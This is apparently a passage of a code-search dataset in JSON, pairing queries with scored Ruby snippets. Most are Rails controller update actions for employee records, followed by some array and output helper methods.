@employee_master, notice: 'Employee master was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @employee_master.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7141531e69df8e66afc8df90054e853d", "score": "0.63891053", "text": "def update\n respond_to do |format|\n if @employee.update_attributes(params[:employee])\n flash[:notice] = t('employees.messages.update')\n format.html { redirect_to employee_path(@employee) }\n format.xml { render :xml => @employee.to_xml(api_methods), :location => @employee }\n format.json { render :json => @employee.to_json(api_methods),:location => @employee }\n else\n format.html { render :action => \"edit\"}\n format.xml { render :xml => @employee.errors, :status => :unprocessable_entity }\n format.json { render :json => @employee.errors }\n end\n end\n end", "title": "" }, { "docid": "5bd12c2f255104b90aeb3c8cbf056a27", "score": "0.6386495", "text": "def update\n respond_to do |format|\n if @user_employee.update(user_employee_params)\n format.html { redirect_to @user_employee, notice: 'User employee was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_employee }\n else\n format.html { render :edit }\n format.json { render json: @user_employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "50c90d0f7cf41601fad00789616f3532", "score": "0.63669276", "text": "def update\n respond_to do |format|\n if @employee_master.update(employee_master_params)\n format.html { redirect_to @employee_master, notice: 'Employee master was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee_master }\n else\n format.html { render :edit }\n format.json { render json: @employee_master.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b773f8a9ef124d4a7d3128ab78a35ba8", "score": "0.63543576", "text": "def update\n @employee = Employee.find(params[:id])\n respond_to do |format|\n if @employee.update_attributes(params[:employee])\n format.html { redirect_to @employee, :notice => 'Employee was successfully updated.' }\n # format.json { head :ok }\n format.json {render :json => {:data => @employee , :success => true } }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @employee.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2a07c9e36f91d797c41d9e56a7f1bf34", "score": "0.6350973", "text": "def update\n respond_to do |format|\n if @employee_status.update(employee_status_params)\n format.html { redirect_to @employee_status, notice: 'Employee status was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee_status }\n else\n format.html { render :edit }\n format.json { render json: @employee_status.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0895b3aed7b1309aa4db8d69653392fc", "score": "0.6345342", "text": "def update\n @employee = Employee.find(params[:id])\n\n respond_to do |format|\n if @employee.update_attributes(params[:employee])\n format.html { redirect_to admin_employee_path(@employee), notice: 'Employee was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0895b3aed7b1309aa4db8d69653392fc", "score": "0.6345342", "text": "def update\n @employee = Employee.find(params[:id])\n\n respond_to do |format|\n if @employee.update_attributes(params[:employee])\n format.html { redirect_to admin_employee_path(@employee), notice: 'Employee was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "61d955f66eb071ab9868d66d7f01d683", "score": "0.63285697", "text": "def update\r\n respond_to do |format|\r\n if @employee.update(employee_params)\r\n format.html { redirect_to @employee, success: 'Employee was successfully updated.' }\r\n format.json { render :show, status: :ok, location: @employee }\r\n else\r\n format.html { render :edit }\r\n format.json { render json: @employee.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "144134dd5396153d881f4fdb3f2ee6a1", "score": "0.63260067", "text": "def update\n @employee = Employee.find(params[:id])\n\n @roles = Role.where(name: ['cashier','admin'])\n\n respond_to do |format|\n if @employee.update_attributes(params[:employee])\n format.html { redirect_to [@company,@employee], notice: t('employees.messages.successfully_updated') }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0c199cc5aaf615ed8c322ae7115eaa98", "score": "0.6317385", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to [@store,@employee], notice: 'Employee was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee }\n else\n format.html { render :edit }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d28596c7cc0ad93e9601058b29768397", "score": "0.63164234", "text": "def update\n #raise params.inspect\n @employee = Employee.find(params[:id])\n\n respond_to do |format|\n if @employee.update_attributes(params[:employee])\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3488ac2c092a89059f463c5d0aaa7150", "score": "0.6314277", "text": "def update\n @employee_position = EmployeePosition.find(params[:id])\n\n respond_to do |format|\n if @employee_position.update_attributes(params[:employee_position])\n flash[:notice] = 'EmployeePosition was successfully updated.'\n format.html { redirect_to(@employee_position) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @employee_position.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "917919a55332e69ed6a4f45a511c3639", "score": "0.6292998", "text": "def update\n respond_to do |format|\n if @employee_role.update(employee_role_params)\n format.html { redirect_to @employee_role, notice: 'Employee role was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee_role }\n else\n format.html { render :edit }\n format.json { render json: @employee_role.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4249392e4112e88376d7211125c5f27c", "score": "0.6291046", "text": "def update\n respond_to do |format|\n if @employee_detail.update(employee_detail_params)\n format.html { redirect_to employee_employee_detail_path(@employee) , notice: 'Employee detail was successfully updated.' }\n format.json { render :show, status: :ok, location: employee_employee_detail_path(@employee) }\n else\n format.html { render :edit }\n format.json { render json: @employee_detail.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e63e5e1e1807d3327a6a9f27b76582dd", "score": "0.6290576", "text": "def update\n access(:update)\n checked_params = check_params(EMPLOYEE_PROPERTIES)\n checked_params[\"office\"] = Office.find(employee_params[:office_id])\n respond_to do |format|\n if @employee.update(checked_params)\n format.html { redirect_to @employee}\n format.json { render :show, status: :ok, location: @employee }\n else\n @offices = Office.all\n format.html { render :edit }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4c409c581d7e49a09c20f1be7bb94830", "score": "0.6283698", "text": "def update\n respond_to do |format|\n if @event_employee.update(event_employee_params)\n format.html { redirect_to :back, notice: 'Event employee was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event_employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "67a03fed761bb80705e8758fdafdcd72", "score": "0.6279126", "text": "def update\n respond_to do |format|\n if @employee_detail.update(employee_detail_params)\n format.html { redirect_to @employee_detail, notice: \"Employee detail was successfully updated.\" }\n format.json { render :show, status: :ok, location: @employee_detail }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @employee_detail.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6bdd0d34ec169722b2c1cba34f46d0d8", "score": "0.6275984", "text": "def update\n @employee = Employee.find(params[:id])\n\n respond_to do |format|\n if @employee.update_attributes(params[:employee])\n format.html { redirect_to @employee, notice: \"#{@employee.name} was successfully updated.\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c534982e565526e671d010d467a890f0", "score": "0.62719035", "text": "def update\np \"+++++++params updaye+++++=\"\np params \np \"++++++++\"\n @employee = Employee.find(params[:id])\n\n respond_to do |format|\n if @employee.update_attributes(params[:employee]) \n format.json { render json: nil, status: :ok }\n else \n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2bcc921b0e4a60cd8d2415e52bdf4992", "score": "0.62626207", "text": "def update\n @employee = Employee.find(params[:id])\n\n respond_to do |format|\n if @employee.update_attributes(params[:employee])\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2bcc921b0e4a60cd8d2415e52bdf4992", "score": "0.62626207", "text": "def update\n @employee = Employee.find(params[:id])\n\n respond_to do |format|\n if @employee.update_attributes(params[:employee])\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2bcc921b0e4a60cd8d2415e52bdf4992", "score": "0.62626207", "text": "def update\n @employee = Employee.find(params[:id])\n\n respond_to do |format|\n if @employee.update_attributes(params[:employee])\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2bcc921b0e4a60cd8d2415e52bdf4992", "score": "0.62626207", "text": "def update\n @employee = Employee.find(params[:id])\n\n respond_to do |format|\n if @employee.update_attributes(params[:employee])\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2bcc921b0e4a60cd8d2415e52bdf4992", "score": "0.62626207", "text": "def update\n @employee = Employee.find(params[:id])\n\n respond_to do |format|\n if @employee.update_attributes(params[:employee])\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2bcc921b0e4a60cd8d2415e52bdf4992", "score": "0.62626207", "text": "def update\n @employee = Employee.find(params[:id])\n\n respond_to do |format|\n if @employee.update_attributes(params[:employee])\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "09977720afd4389432ef35b966d33b0e", "score": "0.62576073", "text": "def set_registry_employee_position\n @registry_employee_position = Registry::EmployeePosition.find(params[:id])\n end", "title": "" }, { "docid": "9680f64c59e6dd0a3bcb149ec9bea24a", "score": "0.6247513", "text": "def update\n respond_to do |format|\n if @employee_info.update(employee_info_params)\n format.html { redirect_to @employee_info, notice: \"Employee info was successfully updated.\" }\n format.json { render :show, status: :ok, location: @employee_info }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @employee_info.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b69f1f5724b07268d80d1ea872a54b40", "score": "0.6242698", "text": "def update\n employee = Employee.find(params[:id])\n employee.first_name = params[:first_name] || employee.first_name\n employee.last_name = params[:last_name] || employee.last_name\n employee.gender = params[:gender] || employee.gender\n employee.email = params[:email] || employee.email\n employee.phone = params[:phone] || employee.phone\n employee.picture = params[:picture] || employee.picture\n employee.department_id = Department.find_by(code: params[:department_code]).id || employee.department_id\n employee.job_title = Department.find_by(code: params[:department_code]).job_title || employee.job_title\n if employee.save\n render json: employee\n else\n render json: { errors: employee.errors.full_messages }, status: 422\n end\n end", "title": "" }, { "docid": "64ee03d243775214a9f499d5b7496045", "score": "0.6240005", "text": "def update\n @employee = Employee.find(params[:id])\n\n respond_to do |format|\n if @employee.update_attributes(params[:employee])\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c1b530ae8dff0cd118d26689c2b9baff", "score": "0.6236651", "text": "def update\n respond_to do |format|\n if @employee_supervisor.update(employee_supervisor_params)\n format.html { redirect_to @employee_supervisor, notice: 'Employee supervisor was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee_supervisor }\n else\n format.html { render :edit }\n format.json { render json: @employee_supervisor.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8261e460147a07dcf76835b512c07a1f", "score": "0.6227309", "text": "def update\n respond_to do |format|\n if @select_employee.update(select_employee_params)\n format.html { redirect_to @select_employee, notice: 'Select employee was successfully updated.' }\n format.json { render :show, status: :ok, location: @select_employee }\n else\n format.html { render :edit }\n format.json { render json: @select_employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9eb2bd9c17636e92e5df87eb10179b34", "score": "0.6227294", "text": "def update\n if @employee.update(employee_params)\n render :show, status: :ok\n else\n render json: @employee.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "29e42beb46228f448c6466e97f8da094", "score": "0.6214931", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: 'Funcionário atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @employee }\n else\n format.html { render :edit }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0cdeae7b94bcb46be3b1ae3bf2448699", "score": "0.6212593", "text": "def update\n @employee.update(employee_params)\n end", "title": "" }, { "docid": "7f5a4322eb55787158ba7ee48ec89dd3", "score": "0.6206555", "text": "def update\n @employee = Employee.find(params[:id])\n\n respond_to do |format|\n if @employee.update_attributes(params[:employee])\n format.html { if @office.nil?\n redirect_to employees_path, notice: 'Employee was successfully updated.'\n else\n redirect_to office_employees_path(@office), notice: 'Employee was successfully updated.'\n end }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "93086e247a27a90f73123455a187cda0", "score": "0.6202246", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee }\n else\n format.js\n format.html { render :edit }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "298997433cb380b1ace0d68f444d4b4c", "score": "0.6201814", "text": "def update\n @municipality = Municipality.find(params[:municipality_id])\n @employee = @municipality.employees.find(params[:id])\n respond_to do |format|\n if @employee.update(employee_params)\n format.json { render json: @employee, status: :ok }\n else\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "65a6e3573f37f7b38ff73ef01dc1407e", "score": "0.61999923", "text": "def update\n @cart = current_cart\n @employee = Employee.find(params[:id])\n\n respond_to do |format|\n if @employee.update_attributes(params[:employee])\n format.html { redirect_to(employee_url, :notice => \"Employee #{@employee.name} was successfully updated.\") }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @employee.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d55724a668551490d82a79de51f64858", "score": "0.61949056", "text": "def update\n target_id = require_id\n unless Employee.exists?(target_id)\n return render json: { message: 'Unable to find employee by provided id.' }, status: :not_found\n end\n\n reason = params.require(:reason)\n pto_rate = params.require(:pto_rate)\n pto_max = params.require(:pto_max)\n pto_current = params.require(:pto_current)\n modify_employee = Employee.find(target_id)\n modify_employee.modify_pto(@employee, reason, rate: pto_rate, max: pto_max, current: pto_current)\n render json: employee_json(modify_employee), status: :ok\n rescue ActionController::ParameterMissing, ActiveRecord::RecordInvalid => e\n render json: { message: e.message }, status: :bad_request\n end", "title": "" }, { "docid": "2fadb569f1e1b0f2a1c8eed32750d117", "score": "0.6193251", "text": "def update\n respond_to do |format|\n begin\n\tif @employee.update(employee_params)\n format.html { redirect_to @employee, notice: 'Employee updated.' }\n format.json { render :show, status: :ok, location: @employee }\n\telse \n\t\tformat.html {render :edit }\n\t\tformat.json {render json: @employee.errors, status: :unprocessable_entity }\n\tend\n rescue Exception => e\n\t @employee.errors.add(:base, e.message.split('Mysql2::Error: ')[1].strip.split(': UPDATE')[0].strip)\n\t format.html {render :edit }\n\t format.json {render json: @employee.errors, status: :unprocessable_entity}\n end\n end\n end", "title": "" }, { "docid": "7c3a8ae245a3e2bc942bce828dc814d4", "score": "0.61872673", "text": "def update\n @employee = Employee.find(params[:id])\n\n respond_to do |format|\n if @employee.update_attributes(employee_params)\n format.html { redirect_to @employee, notice: 'El empleado ha sido actualizado correctamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "05c13ad3ae131c0f3a04cd674e225276", "score": "0.6179708", "text": "def update\n #raise params[:employee].inspect\n\n respond_to do |format|\n if @employee.update_attributes(params[:employee])\n format.html { redirect_to(@employee, :notice => t('scaffold.notice.updated', :item=> Employee.model_name.human)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @employee.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5c149a365497bdbf0a0ba734f8d50ebf", "score": "0.61785054", "text": "def update\n respond_to do |format|\n if @employeeinfo.update(employeeinfo_params)\n format.html { redirect_to @employeeinfo, notice: 'Employeeinfo was successfully updated.' }\n format.json { render :show, status: :ok, location: @employeeinfo }\n else\n format.html { render :edit }\n format.json { render json: @employeeinfo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ff4fd1dff07240e2ecfd731b2ab5f898", "score": "0.6176642", "text": "def update\n respond_to do |format|\n if @employee.update(update_employee_params)\n session[:employee] = nil\n flash[:info] = [\"更新しました。\"]\n format.html { redirect_to @employee }\n format.json { render :show, status: :ok, location: @employee }\n else\n session[:employee] = @employee.attributes.slice(*employee_params.keys)\n flash[:danger] = @employee.errors.full_messages\n format.html { redirect_to :edit_employee }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6668d913c1e068c74d50dbca8b8ae668", "score": "0.6175302", "text": "def update\n respond_to do |format|\n if @project_employee_role.update(project_employee_role_params)\n format.html { redirect_to @project_employee_role, notice: 'Project employee role was successfully updated.' }\n format.json { render :show, status: :ok, location: @project_employee_role }\n else\n format.html { render :edit }\n format.json { render json: @project_employee_role.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7f9c4666d1f6d99c45894cdc6bde4c98", "score": "0.6174102", "text": "def update\n @employee = Employee.find(params[:id])\n\n respond_to do |format|\n if @employee.update_attributes(params[:employee])\n format.html { redirect_to @employee, notice: @employee.name.to_s + ' was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "96e0241915972fdfcdc66af8539623aa", "score": "0.6163356", "text": "def update \n @employee = Employee.find(params[:id])\n @employee.location_id= params[:location_id]\n @employee.manager_id= params[:manager_id]\n @roles= Role.all\n @locations = Admin::Location.all\n @manager_list=Employee.joins(:employee_roles).where('employees_roles.role_id=3');\n respond_to do |format|\n if @employee.update_attributes(params[:employee]) \n EmployeesRoles.delete_all(:employee_id =>@employee.id)\n params[:roles_ids].each do |role_id|\n EmployeesRoles.create(:role_id => role_id, :employee_id => @employee.id, :createdby =>session[:user_id], :modifiedby=>session[:user_id])\n end\n\n format.html { redirect_to edit_admin_employee_path(params[:id]), notice: 'Employee details saved successfully' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n \n end", "title": "" } ]
1853c2318e7e2a5d373432e5e9ef581b
Output process data as array
[ { "docid": "19ffecaffeef1f62fcada36f0a5df74e", "score": "0.0", "text": "def to_a(fields=default_fields, formatter=Formatter::Array.new)\n output(fields, formatter)\n end", "title": "" } ]
[ { "docid": "f228d27777c14e9bc6843b4b8d2827bb", "score": "0.73465806", "text": "def output(data); end", "title": "" }, { "docid": "6d28e9c561bc3192061d744a31b921b6", "score": "0.6624242", "text": "def output\n @_data.output\n end", "title": "" }, { "docid": "f5f1aaae8b1fe2b9d6c6b915c3300b83", "score": "0.6609303", "text": "def output\n @data\n end", "title": "" }, { "docid": "fb0b23890c6a336747ab547d638ca1bb", "score": "0.6499967", "text": "def print_output\n\t\t@str = []\n\t\tprint_slot(@data)\n\t\t@print_arr = @str.join(\"\\n\")\n\tend", "title": "" }, { "docid": "30883de5b2964b30d5c1955261078d17", "score": "0.6459374", "text": "def output\n @output ||= []\n end", "title": "" }, { "docid": "cc4694a032b32f4125140543e76a1b2c", "score": "0.63511765", "text": "def process_data; end", "title": "" }, { "docid": "f551c9093692e45ba2764bcf7b1e2154", "score": "0.63434845", "text": "def on_array(contents); end", "title": "" }, { "docid": "01d3d076dc7d5aa9adae3a237a35c5ac", "score": "0.6329424", "text": "def write_to_array(args)\n\t\t# ensure the capture is run\n\t\tcapture if @stream.class == Array\n\n\t\tfilter = args[:filter]\n\t\tbpf(:filter => filter) if filter\n\n\t\twhile pkt = @stream.next\n\t\t\t@array << pkt\n\t\tend\n\t\t@array.size\n\tend", "title": "" }, { "docid": "e63b5e1d5eb5a3a601d2a4464db21572", "score": "0.6250341", "text": "def view_array\n p @arr\n end", "title": "" }, { "docid": "be6b25ff3d1852646e4623b9053cc6a1", "score": "0.6175213", "text": "def array_data\r\n self\r\n end", "title": "" }, { "docid": "d65056d3fdbbaa2c0f45b119fd518413", "score": "0.61313474", "text": "def outputs_as_lines_array()\n @probes.sort.map do |time, gate_name, output_value|\n \"#{time} #{gate_name} #{output_value}\"\n end\n end", "title": "" }, { "docid": "9e54860c59e4fef40354b797ff9ae183", "score": "0.60905683", "text": "def process_data(data); end", "title": "" }, { "docid": "d2e781064e1192da3a1fba074c22fb0f", "score": "0.608091", "text": "def process_data(data)\n data\n end", "title": "" }, { "docid": "2e4c2b1b0071315eced29e6a34a6a4ed", "score": "0.60660416", "text": "def output_array(arr)\n for item in arr\n puts item.to_s\n end\nend", "title": "" }, { "docid": "f23dd3d369cd85c883de3fb70e273a01", "score": "0.60609734", "text": "def work!\n @data.each {|d| puts d}\n end", "title": "" }, { "docid": "e3fe999269938280584184c74dc37e09", "score": "0.60521674", "text": "def array\n @array\n end", "title": "" }, { "docid": "773205a0b44be12a4d6fd3cf5dff53e7", "score": "0.6043715", "text": "def process_data(data)\n end", "title": "" }, { "docid": "c875ac6509d4fc29340c115b53b33bb2", "score": "0.60396594", "text": "def array; end", "title": "" }, { "docid": "c875ac6509d4fc29340c115b53b33bb2", "score": "0.60396594", "text": "def array; end", "title": "" }, { "docid": "c875ac6509d4fc29340c115b53b33bb2", "score": "0.60396594", "text": "def array; end", "title": "" }, { "docid": "c875ac6509d4fc29340c115b53b33bb2", "score": "0.60396594", "text": "def array; end", "title": "" }, { "docid": "4a93a6245237b6ac43e22f8f259c1ab9", "score": "0.5964016", "text": "def data\n map(&:data)\n end", "title": "" }, { "docid": "e1e4fe97b64265d2bd64fd83c6f28489", "score": "0.59624755", "text": "def return_array(array)\n\tputs array.inspect\nend", "title": "" }, { "docid": "4132605a0e0d07409fc26cc39cfa6cc2", "score": "0.59514576", "text": "def data\n\t\t@ary\n\tend", "title": "" }, { "docid": "81efa3541786d4615b724e84dcc7387f", "score": "0.5947399", "text": "def wrap_output_array(obj)\n if Sequel.respond_to?(:pg_array_op) \n Sequel.pg_array_op(obj)\n else\n obj\n end\n end", "title": "" }, { "docid": "b3b1e1f3a41678ebb2789fa245195203", "score": "0.59151185", "text": "def writeArray\r\n @@persist.writeOut\r\n end", "title": "" }, { "docid": "5388871c6804d4cad035e12568f18d1d", "score": "0.5911594", "text": "def to_array\n wrap_output_array(function(:hstore_to_array))\n end", "title": "" }, { "docid": "adeaac99d298af1401254911c342cc8a", "score": "0.58890945", "text": "def get_outputs;\n\t\tfeed_forward\n\t\t@output.map{|o| o.calculate_output}\n\tend", "title": "" }, { "docid": "6806e85b7137a53846ceacae9d27d16e", "score": "0.5885383", "text": "def get_all_outputs\n return each_output.to_a\n end", "title": "" }, { "docid": "cbc125cce0a9f21b26b6b93c37ab76b6", "score": "0.58693373", "text": "def dump(data, io)\r\n io << generate_line(data.to_ary)\r\n end", "title": "" }, { "docid": "15007b274cef5046073c928a450e07e2", "score": "0.5853258", "text": "def apply(output, input)\n output.write @data\n end", "title": "" }, { "docid": "66fbb8fbe9c6228de8978b5f46928b05", "score": "0.5836851", "text": "def A\n pipe_2_variable\n start \"Array( #@r )\"\n end", "title": "" }, { "docid": "c146b889767a593f4d12b937b271c6d9", "score": "0.5830841", "text": "def process\n @data.each do |item|\n item[:goods] = item[:goods__laser_acoustic_detection_equipment__intrusion_software__network_infrastructure_and_services__off_the_air_interception__monitoring_centres__lawful_interception_mediation__deep_packet_inspection__forensics__biometrics__fibre_taps__probes__location_tracking__internet_filters]\n item[:goods] = item[:goods].split(\", \") if item[:goods]\n item[:source_links] = extract_links(item[:sources])\n item[:company_name] = fix_name(item[:supplier_company])\n item[:title] = gen_title(item)\n item[:bibtex_type] = \"Sale\"\n item[:unique_id] = gen_id(item)\n @out_data.push(item)\n end\n\n JSON.pretty_generate(@out_data)\n end", "title": "" }, { "docid": "d47c08e44c394fbae4560d1fe1f4436e", "score": "0.57937276", "text": "def visit_array_command(command)\n return process_block(\n block_def_node: command.block_def_node,\n lexical_variables: command.lexical_externals,\n block_parameters: process_entire_input(command))\n end", "title": "" }, { "docid": "2b33e44d7d464f7c0bec55f85eb83763", "score": "0.5778538", "text": "def data\n all.to_a\n end", "title": "" }, { "docid": "b58e52683ef393f12098eced8cadc0c7", "score": "0.57696915", "text": "def arrays; @arrays; end", "title": "" }, { "docid": "b069427cee07a93d32222095f0a9a050", "score": "0.57580715", "text": "def output_2\n puts @@my_array_a\n puts @@my_array_b\n puts @@my_array_c\n end", "title": "" }, { "docid": "bb31e869a82abc1b6f57cffc02760ba5", "score": "0.57554084", "text": "def pipe\r\n\t\t@infile.split(/\\n/).each{|e| @array << e} \r\n\t\ttopipe = File.open(\"#{@outfile}\", \"w\")\r\n\t\t@outfile = String.new\r\n\t\tconverter(@array, @outfile)\r\n\t\tif @erb\r\n\t\t\terb = ERB.new(@outfile)\r\n\t\t\t@outfile.replace erb.result\r\n\t\tend \r\n\t\ttopipe << @outfile\r\n\t\ttopipe.close\r\n\t\t@array.clear \r\n end", "title": "" }, { "docid": "2a62c53b07faa8b9613c4f26eaee32c5", "score": "0.5745217", "text": "def outputs; end", "title": "" }, { "docid": "2a62c53b07faa8b9613c4f26eaee32c5", "score": "0.5745217", "text": "def outputs; end", "title": "" }, { "docid": "2a62c53b07faa8b9613c4f26eaee32c5", "score": "0.5745217", "text": "def outputs; end", "title": "" }, { "docid": "2a62c53b07faa8b9613c4f26eaee32c5", "score": "0.5745217", "text": "def outputs; end", "title": "" }, { "docid": "51c1c9dd0b70c78f9ed3115957041f29", "score": "0.57393277", "text": "def process_array(exp)\n exp.shift # remove :array\n exp.each do |element|\n process_until_empty(element)\n end\n s()\n end", "title": "" }, { "docid": "3f9e275635688f5624ce6d574b72e2ef", "score": "0.57324857", "text": "def write_array(ary)\n IOUtil.write_body(ary, out_stream)\n end", "title": "" }, { "docid": "4202c99d725bfaba781e0b461ecf974e", "score": "0.57253474", "text": "def output\n @process.output\n end", "title": "" }, { "docid": "09aed64752b873e77492985244d19035", "score": "0.57217443", "text": "def outputArrayRAW(array)\n\n array.each { |subArray|\n outStr = String.new\n subArray.each { |element|\n outStr << element.to_s + \" \"\n }\n puts outStr\n }\n end", "title": "" }, { "docid": "b984ee7290ace124357147b0b9342c66", "score": "0.571809", "text": "def process(data, fn)\r\n data.map{ |n| fn.call(n) }\r\n end", "title": "" }, { "docid": "5a921b7bdd43c4707d68fc39b63b8ef1", "score": "0.5712627", "text": "def converted_arrays; end", "title": "" }, { "docid": "36086b1bd6e1e6e62b9a8a5cb3f9e6f9", "score": "0.57022977", "text": "def data\n data = ''\n each { |chunk| data << chunk }\n data\n end", "title": "" }, { "docid": "e243bd430b34047e47fc66fc4ff80827", "score": "0.5700005", "text": "def display_output(array)\n if array.empty?\n @output = \"No record found\"\n else\n @output = array.join(', ')\n end\n puts_output_and_text_in_file\n receive_input_if_interactive\n end", "title": "" }, { "docid": "0e574f69a22620a652035d82e0dc554e", "score": "0.5699189", "text": "def to_a\n\t\t@results.each do |user_array|\n\t\t\tputs \"[ \" + user_array[0].to_s + \", \" + user_array[1].to_s + \", \" + user_array[2].to_s + \", \" + user_array[3].to_s + \" ] \"\n\t\tend\n\tend", "title": "" }, { "docid": "1bd382929fb8234027485e5fe1027a2e", "score": "0.5687792", "text": "def to_a\n\t\t@result.each do |x|\n\t\t\tputs \"#{x[:u]} #{x[:m]} #{x[:r]} #{x[:p]}\"\n\t\tend\n\tend", "title": "" }, { "docid": "b55fdd594503381cbfdcc90360da197b", "score": "0.56692845", "text": "def output(data)\n # puts \"-> #{data}\"\n if output_block\n output_block.call(data)\n else\n puts data\n end\n end", "title": "" }, { "docid": "ffd040be83a608d2d63ec06242bf1ee9", "score": "0.5668589", "text": "def to_a\n result == :one ? [to_h] : __data__.map { |element| pipe.call(element) }\n end", "title": "" }, { "docid": "c0d26985bf3d34ebda66d829769843d1", "score": "0.56667745", "text": "def export_array\n self.map do |msgid,pos|\n [msgid] + pos\n end\n end", "title": "" }, { "docid": "417eddc50850ac7c4617419fa094bf10", 